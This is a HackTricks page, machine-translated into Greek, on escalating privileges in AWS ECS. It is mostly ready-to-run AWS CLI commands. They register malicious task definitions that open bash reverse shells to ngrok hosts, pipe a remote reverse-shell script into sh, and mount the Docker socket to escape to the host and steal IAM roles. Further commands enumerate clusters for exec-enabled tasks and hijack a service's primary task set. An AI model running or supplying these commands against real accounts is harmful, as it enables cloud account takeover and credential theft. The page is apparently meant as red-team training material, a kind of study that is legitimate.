AWS - ECS Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

ECS

Περισσότερες πληροφορίες σχετικά με το ECS στο:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Ένας επιτιθέμενος που εκμεταλλεύεται την άδεια iam:PassRole, ecs:RegisterTaskDefinition και ecs:RunTask στο ECS μπορεί να δημιουργήσει έναν νέο ορισμό εργασίας με ένα κακόβουλο κοντέινερ που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Πιθανές Επιπτώσεις: Άμεσο privesc σε διαφορετικό ρόλο ECS.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Ακριβώς όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask στο ECS μπορεί να δημιουργήσει έναν νέο ορισμό εργασίας με ένα κακόβουλο κοντέινερ που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει. Ωστόσο, σε αυτή την περίπτωση, χρειάζεται να υπάρχει μια παρουσία κοντέινερ για να εκτελέσει τον κακόβουλο ορισμό εργασίας.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιονδήποτε ρόλο ECS.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Ακριβώς όπως στο προηγούμενο παράδειγμα, ένας επιτιθέμενος που εκμεταλλεύεται τα δικαιώματα iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ή ecs:CreateService στο ECS μπορεί να δημιουργήσει μια νέα ορισμό εργασίας με ένα κακόβουλο κοντέινερ που κλέβει τα διαπιστευτήρια μεταδεδομένων και να το εκτελέσει δημιουργώντας μια νέα υπηρεσία με τουλάχιστον 1 εργασία σε εκτέλεση.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιοδήποτε ρόλο ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Στην πραγματικότητα, μόνο με αυτές τις άδειες είναι δυνατόν να χρησιμοποιηθούν παρακάμψεις για την εκτέλεση αυθαίρετων εντολών σε ένα κοντέινερ με έναν αυθαίρετο ρόλο με κάτι σαν:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Πιθανές Επιπτώσεις: Άμεσο privesc σε οποιοδήποτε ρόλο ECS.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Αυτό το σενάριο είναι παρόμοιο με τα προηγούμενα αλλά χωρίς την άδεια iam:PassRole. Αυτό είναι ακόμα ενδιαφέρον γιατί αν μπορείτε να εκτελέσετε ένα αυθαίρετο κοντέινερ, ακόμα και αν είναι χωρίς ρόλο, θα μπορούσατε να εκτελέσετε ένα προνομιακό κοντέινερ για να διαφύγετε στο κόμβο και να κλέψετε τον ρόλο IAM EC2 και τους άλλους ρόλους κοντέινερ ECS που εκτελούνται στον κόμβο. Θα μπορούσατε ακόμα να αναγκάσετε άλλες εργασίες να εκτελούνται μέσα στην EC2 instance που έχετε παραβιάσει για να κλέψετε τα διαπιστευτήριά τους (όπως συζητήθηκε στην Ενότητα Privesc προς κόμβο).

Αυτή η επίθεση είναι δυνατή μόνο αν ο ECS cluster χρησιμοποιεί EC2 instances και όχι Fargate.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ένας επιτιθέμενος με το ecs:ExecuteCommand, ecs:DescribeTasks μπορεί να εκτελέσει εντολές μέσα σε ένα τρέχον κοντέινερ και να εξάγει τον IAM ρόλο που είναι συνημμένος σε αυτό (χρειάζεστε τις άδειες περιγραφής γιατί είναι απαραίτητο να εκτελέσετε το aws ecs execute-command). Ωστόσο, για να το κάνετε αυτό, η κοντέινερ πρέπει να εκτελεί τον ExecuteCommand agent (ο οποίος από προεπιλογή δεν είναι).

Επομένως, ο επιτιθέμενος θα μπορούσε να προσπαθήσει να:

• Προσπαθήσει να εκτελέσει μια εντολή σε κάθε τρέχον κοντέινερ

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

• Αν έχει ecs:RunTask, εκτελέστε μια εργασία με aws ecs run-task --enable-execute-command [...]

• Αν έχει ecs:StartTask, εκτελέστε μια εργασία με aws ecs start-task --enable-execute-command [...]

• Αν έχει ecs:CreateService, δημιουργήστε μια υπηρεσία με aws ecs create-service --enable-execute-command [...]

• Αν έχει ecs:UpdateService, ενημερώστε μια υπηρεσία με aws ecs update-service --enable-execute-command [...]

Μπορείτε να βρείτε παραδείγματα αυτών των επιλογών στις προηγούμενες ενότητες privesc ECS.

Πιθανές Επιπτώσεις: Privesc σε διαφορετικό ρόλο που συνδέεται με τα κοντέινερ.

ssm:StartSession

Ελέγξτε στη σελίδα privesc ssm πώς μπορείτε να εκμεταλλευτείτε αυτή την άδεια για privesc σε ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Ελέγξτε στη σελίδα privesc ec2 πώς μπορείτε να εκμεταλλευτείτε αυτές τις άδειες για privesc σε ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Είναι δυνατόν να καταχωρήσετε μια παρουσία από διαφορετικό λογαριασμό AWS ώστε οι εργασίες να εκτελούνται σε μηχανές που ελέγχονται από τον επιτιθέμενο;;

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Δοκιμάστε αυτό

Ένας επιτιθέμενος με τις άδειες ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, και ecs:DescribeTaskSets μπορεί να δημιουργήσει ένα κακόβουλο σύνολο εργασιών για μια υπάρχουσα υπηρεσία ECS και να ενημερώσει το κύριο σύνολο εργασιών. Αυτό επιτρέπει στον επιτιθέμενο να εκτελεί αυθαίρετο κώδικα εντός της υπηρεσίας.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Πιθανές Επιπτώσεις: Εκτέλεση αυθαίρετου κώδικα στην επηρεαζόμενη υπηρεσία, ενδεχομένως επηρεάζοντας τη λειτουργικότητά της ή εξάγοντας ευαίσθητα δεδομένα.

Αναφορές

• https://ruse.tech/blogs/ecs-attack-methods

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.